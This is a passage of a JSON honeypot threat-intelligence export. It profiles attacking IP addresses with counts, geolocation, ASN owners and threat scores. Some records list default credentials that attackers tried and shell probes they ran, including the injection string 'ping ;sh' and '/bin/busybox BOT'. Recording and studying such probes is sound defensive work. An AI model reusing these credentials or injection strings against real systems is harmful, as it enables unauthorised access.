      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 6
      }
    },
    "175.107.1.88": {
      "attack_count": 14,
      "first_seen": "2026-04-08T07:25:50.941Z",
      "last_seen": "2026-04-08T07:27:21.479Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T07:25:50.941000+00:00",
        "last_seen_30d": "2026-04-08T07:28:29.196000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "60.205.92.121": {
      "attack_count": 12,
      "first_seen": "2026-04-30T11:45:51.180Z",
      "last_seen": "2026-04-30T11:46:00.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "password"
      ],
      "commands_executed": [
        "echo 1 > /dev/null && cat /bin/echo"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-30T11:34:51.364000+00:00",
        "last_seen_30d": "2026-04-30T11:52:14.385000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "66.132.172.35": {
      "attack_count": 12,
      "first_seen": "2026-04-14T00:34:34.823Z",
      "last_seen": "2026-04-18T14:33:53.561Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T11:47:57+00:00",
        "last_seen_30d": "2026-04-30T14:49:49.727000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 51,
        "Cowrie": 12,
        "ElasticPot": 3,
        "Dionaea": 2
      }
    },
    "185.206.124.67": {
      "attack_count": 11,
      "first_seen": "2026-04-01T18:50:51.933Z",
      "last_seen": "2026-04-01T18:51:55.274Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "bin",
        "enable",
        "shell"
      ],
      "passwords_attempted": [
        "bin",
        "sh",
        "system"
      ],
      "commands_executed": [
        "linuxshell",
        "/bin/busybox BOT",
        "ping ;sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Karbala",
      "asn": 205800,
      "as_org": "Steps Telecom For Internet Ltd.",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T18:50:51.933000+00:00",
        "last_seen_30d": "2026-04-01T18:53:01.847000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 1
      }
    },
    "149.233.147.35": {
      "attack_count": 10,
      "first_seen": "2026-04-02T11:51:57.105Z",
      "last_seen": "2026-04-02T11:52:00.280Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Hamburg",
      "asn": 15943,
      "as_org": "wilhelm.tel GmbH",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T11:51:57.105000+00:00",
        "last_seen_30d": "2026-04-02T11:53:10.225000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "66.132.172.129": {
      "attack_count": 10,
      "first_seen": "2026-04-11T11:35:30.889Z",
      "last_seen": "2026-04-29T19:48:22.749Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T05:48:02.107000+00:00",
        "last_seen_30d": "2026-04-30T02:21:14.535000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 57,
        "Cowrie": 10,
        "Miniprint": 6,
        "Honeyaml": 3
      }
    },
    "66.132.172.138": {
      "attack_count": 10,
      "first_seen": "2026-04-16T06:35:13.742Z",
      "last_seen": "2026-04-23T03:32:30.061Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 28,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T03:30:23+00:00",
        "last_seen_30d": "2026-04-28T09:17:56.170000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 121,
        "Honeytrap": 42,
        "Cowrie": 10,
        "ElasticPot": 8,
        "Dionaea": 3
      }
    },
    "72.31.24.115": {
      "attack_count": 10,
      "first_seen": "2026-04-02T12:17:50.955Z",
      "last_seen": "2026-04-02T12:18:03.367Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "system",
        "qwerty",
        "toor"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Crawfordsville",
      "asn": 33363,
      "as_org": "Charter Communications, Inc",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T12:17:50.955000+00:00",
        "last_seen_30d": "2026-04-02T12:19:43.778000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 3
      }
    },
    "181.191.41.72": {
      "attack_count": 8,
      "first_seen": "2026-04-26T05:16:10.291Z",
      "last_seen": "2026-04-26T05:24:15.166Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Natal",
      "asn": 266000,
      "as_org": "R F de Souza Junior",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:16:10.291000+00:00",
        "last_seen_30d": "2026-04-26T05:25:22.968000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "185.220.101.106": {
      "attack_count": 8,
      "first_seen": "2026-04-28T20:33:37.048Z",
      "last_seen": "2026-04-28T20:33:59.675Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:33:37.048000+00:00",
        "last_seen_30d": "2026-04-28T20:35:01.221000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "213.131.64.123": {
      "attack_count": 8,
      "first_seen": "2026-04-02T08:29:25.550Z",
      "last_seen": "2026-04-02T11:49:14.515Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": null,
      "asn": 24863,
      "as_org": "LINKdotNET",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:29:25.550000+00:00",
        "last_seen_30d": "2026-04-02T11:50:15.119000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "46.149.57.38": {
      "attack_count": 8,
      "first_seen": "2026-04-28T06:47:20.537Z",
      "last_seen": "2026-04-28T06:55:22.851Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Odesa",
      "asn": 51993,
      "as_org": "LLC Telekompaniya Region",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T06:47:20.537000+00:00",
        "last_seen_30d": "2026-04-28T06:56:30.682000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "88.179.38.141": {
      "attack_count": 8,
      "first_seen": "2026-04-25T19:54:46.145Z",
      "last_seen": "2026-04-25T20:02:47.879Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Meauc\u00e9",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T19:54:46.145000+00:00",
        "last_seen_30d": "2026-04-25T20:03:49.265000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "104.152.52.130": {
      "attack_count": 6,
      "first_seen": "2026-04-27T15:21:24.485Z",
      "last_seen": "2026-04-27T15:28:35.918Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 15.0,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 18,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:47:56.158000+00:00",
        "last_seen_30d": "2026-04-27T15:29:39.682000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6
      }
    },
    "45.87.249.40": {
      "attack_count": 6,
      "first_seen": "2026-04-06T02:16:40.230Z",
      "last_seen": "2026-04-08T01:15:47.378Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 8,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:24:40.913000+00:00",
        "last_seen_30d": "2026-04-08T01:16:48.355000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 112,
        "Honeytrap": 59,
        "Cowrie": 6,
        "Adbhoney": 4
      }
    },
    "66.132.172.101": {
      "attack_count": 6,
      "first_seen": "2026-04-24T20:38:44.810Z",
      "last_seen": "2026-04-24T20:39:30.226Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 28,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T03:55:51+00:00",
        "last_seen_30d": "2026-04-28T11:11:22.665000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Honeytrap": 55,
        "Tanner": 8,
        "Cowrie": 6,
        "Dionaea": 2
      }
    },
    "66.132.186.199": {
      "attack_count": 6,
      "first_seen": "2026-04-06T02:32:36.805Z",
      "last_seen": "2026-04-06T02:33:11.358Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T13:21:08+00:00",
        "last_seen_30d": "2026-04-30T10:29:38.724000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 55,
        "Ciscoasa": 13,
        "Cowrie": 6,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "66.132.195.81": {
      "attack_count": 6,
      "first_seen": "2026-04-28T00:48:20.029Z",
      "last_seen": "2026-04-28T00:48:54.652Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 29,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T19:10:11+00:00",
        "last_seen_30d": "2026-04-29T21:52:28.862000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Honeytrap": 33,
        "Cowrie": 6,
        "CitrixHoneypot": 5,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "99.17.13.44": {
      "attack_count": 6,
      "first_seen": "2026-04-07T13:38:19.007Z",
      "last_seen": "2026-04-07T13:38:35.798Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 7.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T13:38:19.007000+00:00",
        "last_seen_30d": "2026-04-07T13:39:39.347000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "105.225.105.87": {
      "attack_count": 4,
      "first_seen": "2026-04-10T01:59:08.767Z",
      "last_seen": "2026-04-13T18:53:13.383Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Brackenfell",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:59:08.767000+00:00",
        "last_seen_30d": "2026-04-13T18:54:15.235000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "172.212.200.29": {
      "attack_count": 4,
      "first_seen": "2026-04-29T23:51:40.564Z",
      "last_seen": "2026-04-29T23:51:51.101Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 76.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.9,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 24,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-06T02:27:04.111000+00:00",
        "last_seen_30d": "2026-04-29T23:52:59.937000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 9,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "175.24.174.41": {
      "attack_count": 4,
      "first_seen": "2026-04-06T19:10:21.858Z",
      "last_seen": "2026-04-17T06:58:11.219Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T19:10:21.858000+00:00",
        "last_seen_30d": "2026-04-17T06:59:15.127000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "18.97.19.194": {
      "attack_count": 4,
      "first_seen": "2026-04-10T20:15:13.828Z",
      "last_seen": "2026-04-10T20:15:16.227Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T20:15:13.828000+00:00",
        "last_seen_30d": "2026-04-10T20:16:23.192000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "194.187.178.116": {
      "attack_count": 4,
      "first_seen": "2026-04-04T09:25:45.822Z",
      "last_seen": "2026-04-04T09:25:46.720Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T09:25:45.822000+00:00",
        "last_seen_30d": "2026-04-19T20:27:22.143000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "198.235.24.238": {
      "attack_count": 4,
      "first_seen": "2026-04-05T10:49:49.244Z",
      "last_seen": "2026-04-05T10:49:52.804Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T22:59:40+00:00",
        "last_seen_30d": "2026-04-30T00:37:50.705000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 20,
        "Cowrie": 4,
        "Tanner": 1
      }
    },
    "91.231.89.176": {
      "attack_count": 4,
      "first_seen": "2026-04-11T00:05:11.373Z",
      "last_seen": "2026-04-11T00:05:12.738Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:41:47+00:00",
        "last_seen_30d": "2026-04-30T23:21:11.670000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 47,
        "Cowrie": 4
      }
    },
    "112.123.107.52": {
      "attack_count": 2,
      "first_seen": "2026-04-07T06:49:27.121Z",
      "last_seen": "2026-04-07T06:49:27.121Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
